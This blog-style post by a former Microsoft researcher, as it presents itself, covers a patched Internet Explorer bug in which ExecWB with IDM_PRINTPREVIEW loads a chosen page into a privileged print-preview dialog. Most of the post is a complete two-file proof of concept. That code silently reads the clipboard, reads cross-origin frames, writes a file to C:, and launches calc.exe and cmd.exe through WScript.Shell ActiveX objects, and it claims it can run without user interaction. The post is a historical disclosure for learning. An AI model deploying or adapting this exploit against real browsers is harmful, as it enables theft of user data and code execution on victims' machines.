I was lucky to find this one. While poking at IE’s ExecWB method, I discovered that when you call it with the IDM_PRINTPREVIEW command on an iframe, the third parameter — normally a printer name — is actually treated as a URL that gets loaded inside the resulting print preview modal dialog. That modal dialog turned out to have very relaxed security constraints.
<!-- index.html: the launcher -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>ExecWB_IDM_PRINTPREVIEW_Several_Vulnerabilities</title></head>
<body>
<font face="Tahoma" size="2">
<center><h2>ExecWB_IDM_PRINTPREVIEW_Several_Vulnerabilities</h2></center>
<center>
This bug opens a bridge to countless new tricks.<br /><br />
<b>Tip:</b> we don't need user interaction (like clicking the button below) at all.<br />This is an "interactive" demo but it can work all by itself, without asking the
user to do anything.
<br /><br />
We will use the <font color="brown">ExecWB</font> method of an IFRAME to open a <font color="brown">PRINTPREVIEW</font> modalDialog.<br />
The "trick" here is on the third parameter: we can load an arbitrary URL inside it. Check out the syntax:
<br /><br />
<font face="Monospace">
document.all.iframeID.<font color="brown">ExecWB</font>(<font color="brown">IDM_PRINTPREVIEW</font>, 0, "<font color="blue">http://[....]/tricks.html</font>");
</font>
<br /><br />
<input type="button" value="Click Here to Run the above instruction" onclick="openPrintPreview()"><br /><br />
</center>
<hr />
<center>
This is a regular IFRAME with no tricks at all. It's only here so we can use the ExecWB method.<br />
ID: iframeID<br />
<iframe id="iframeID" width="100" height="100"></iframe>
</center>
</font>
<script language="JavaScript">
var IDM_PRINTPREVIEW = 7;
function openPrintPreview()
{
// The IDM_PRINTPREVIEW needs a FULL URL so we first get our baseHref and then, concat it with "tricks.html" which is the name of our file.
var myBaseHref = location.href.substring(0, (location.href.lastIndexOf("/") + 1));
var urlTricksPage = myBaseHref + "tricks.html";
// Now we open the PRINTPREVIEW modalDialog with our tricks.html inside.
document.all.iframeID.ExecWB(IDM_PRINTPREVIEW, 0, urlTricksPage);
}
</script>
</body>
</html>
<!-- tricks.html: loaded inside the modal, with many capabilities unlocked -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>ExecWB_IDM_PRINTPREVIEW_TricksPage</title>
<style type="text/css">
span {
cursor: hand;
font-family: Monospace, Arial;
font-size: 14px;
}
</style>
</head>
<body>
<center>
<font face="Tahoma" size="2">
<h2 style="color:red">IMPORTANT:</h2>
<b>This is an interactive POC divided in different parts. To run each particular section, click once
on the text or code you want to execute.</b><br /><br />
</font>
<hr /><br />
<span onclick="getClipboardData()">
<font color="blue">Read clipboardData without prompts.</font> <br /><br />
alert( <b>clipboardData.getData("Text")</b> );
</span>
<br /><br /><hr /><br />
<span onclick="openPopups()">
<font color="blue">
Open popUp windows without warning using a setTimeout to ensure no event is linked.
</font>
<br /><br />
setTimeout('<b>window.showHelp</b>("http://www.google.com");',1000);
</span>
<br /><br /><hr /><br />
<span onclick="xDomainFree()">
<font color="blue">
Cross-origin policy? Not here. We can read any iframe's innerText directly.
</font>
<br />
<iframe name="dutyFreeIframe" src="http://www.google.com" width="400" height="200"></iframe>
<br /><br />
alert( <b>dutyFreeIframe.document.body.innerText</b> );
</span>
<br /><br /><hr /><br />
<span onclick="writeFile()">
<font color="blue">Write a file to disk using Scripting.FileSystemObject</font>
<br /><br />
<font color="green">oFileSystem</font> = new ActiveXObject( "<font color="red"><b>Scripting.FileSystemObject</b></font>" );<br />
<font color="blue">hFile</font> = <font color="green">oFileSystem</font>.<b>CreateTextFile</b>( "<i>c:\myfile.txt</i>", true );<br />
<font color="blue">hFile</font>.<b>write</b>( "<i>This is the content of the file</i>" );<br />
<font color="blue">hFile</font>.<b>close</b>();
</span>
<br /><br /><hr /><br />
<span onclick="executeArbitraryFile()">
<font color="blue">Execute an arbitrary file using WScript.Shell</font>
<br /><br />
<font color="green">oShell</font> = new ActiveXObject( "<font color="red"><b>WScript.Shell</b></font>" );<br />
<font color="green">oShell</font>.<b>Run</b> ( "file:///c:/windows/system32/calc.exe", 1, true );
</span>
<br /><br /><hr /><br />
<span onclick="executeArbitraryFileWithArguments()">
<font color="blue">Execute with arguments (cmd.exe)</font>
<br /><br />
<font color="green">oShell</font> = new ActiveXObject( "<font color="red"><b>WScript.Shell</b></font>" );<br />
<font color="green">oShell</font>.<b>Run</b> ( "file:///c:/windows/system32/cmd.exe /k dir", 1, true );
</span>
<br /><br /><hr /><br />
<h2 style="color:red">THE END</h2>
</font>
</center>
<script language="JavaScript">
// If we are not inside our PRINTPREVIEW modal...
if (!window.dialogArguments) alert("This file is called by the index.html. Don't run it alone");
function getClipboardData()
{
alert("http://www.playboy.com/");
alert("Where have you been surfing?\n\n Haha :) I was kidding. Here's the real content of your clipboard: \n\n" + clipboardData.getData("Text"));
}
function openPopups()
{
setTimeout('window.showHelp("http://www.google.com");',1000);
}
function xDomainFree()
{
alert( dutyFreeIframe.document.body.innerText );
}
function writeFile()
{
try
{
oFileSystem = new ActiveXObject("Scripting.FileSystemObject");
hFile = oFileSystem.CreateTextFile("c:\\myfile.txt", true);
hFile.write("This is the content of the file");
hFile.close();
alert("Success! Check out your C Drive. The file C:\\myfile.txt should be there.");
}
catch(e)
{
alert("Failed. Maybe we are in Vista. Try this demo on XP.");
}
}
function executeArbitraryFile()
{
try
{
oShell = new ActiveXObject("WScript.Shell");
oShell.Run ("file:///c:/windows/system32/calc.exe", 1, true);
}
catch(e){}
}
function executeArbitraryFileWithArguments()
{
try
{
oShell = new ActiveXObject("WScript.Shell");
oShell.Run ("file:///c:/windows/system32/cmd.exe /k dir", 1, true);
}
catch(e){}
}
// Not needed. It's just that this PRINTPREVIEW scrolls down the page at the beginning...
setTimeout("window.scrollTo(0,0);",500);
</script>
</body>
</html>
The print preview dialog ran in a highly privileged context — effectively no cross-origin restrictions, no popup blocker, unrestricted ActiveX access. That made it possible to read the clipboard silently, open arbitrary windows, read cross-origin iframes, write files to disk, and run executables. The one piece of good news is that Vista’s Protected Mode virtualized the file system, so write operations on Vista would silently redirect. On XP, though, there was nothing in the way.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.